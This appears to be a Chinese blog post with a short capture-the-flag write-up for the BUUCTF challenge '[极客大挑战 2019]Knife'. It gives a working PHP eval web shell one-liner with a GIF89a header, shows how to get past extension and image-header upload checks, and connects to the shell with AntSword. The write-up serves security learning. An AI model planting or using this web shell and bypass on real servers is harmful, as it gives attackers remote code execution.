当前位置: 首页 > news >正文

[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

GIF89a
<script language='php'>@eval($_POST[shell]);</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
蚁剑连接
在这里插入图片描述
在这里插入图片描述
看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以

在这里插入图片描述
在这里插入图片描述

拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

相关文章:

  • [已解决]jupyter notebook报错 500 : Internal Server Error及notebook闪退
  • 清晰易懂的 Conda 彻底卸载与清理教程
  • 蓝桥杯学习-13回溯
  • Linux中的make与Makefile详解
  • Linux信号:一场内核与用户空间的暗战
  • QT笔记----QCheckBox
  • Debug-037-table列表勾选回显方案
  • jar包代码混淆
  • 【嵌入式】C语言中malloc()和calloc()的区别
  • kotlin 内联函数 inline
  • Python编写服务监控程序
  • Unity Shader编程】之透明物体渲染
  • 第五: redis 安装 / find 查找目录
  • JVM常用概念之身份哈希码
  • Apache SeaTunnel脚本升级及参数调优实战
  • 指令系统(2017统考真题)
  • 人工智能在电子信息工程信号处理中的应用调研
  • 离线黑客攻击之绕过BIOS/EFI
  • openstack安装部署
  • docker-存储卷-网络
  • 吴清稳市场稳预期发布会十要点:谈平准基金、股市稳定、公募改革和巴菲特
  • 印媒证实:至少3架印军战机7日在印控克什米尔地区坠毁
  • 魔都眼|上海多家商场打开绿色通道,助力外贸出口商品转内销
  • 李云泽:支持小微企业、民企融资一揽子政策将从增供给、降成本、提效率、优环境4个方面发力
  • 全军军级以上单位新任纪委书记监委主任培训班结业
  • 86岁书画家、美术教育家、吴昌硕嫡裔曾孙吴民先离世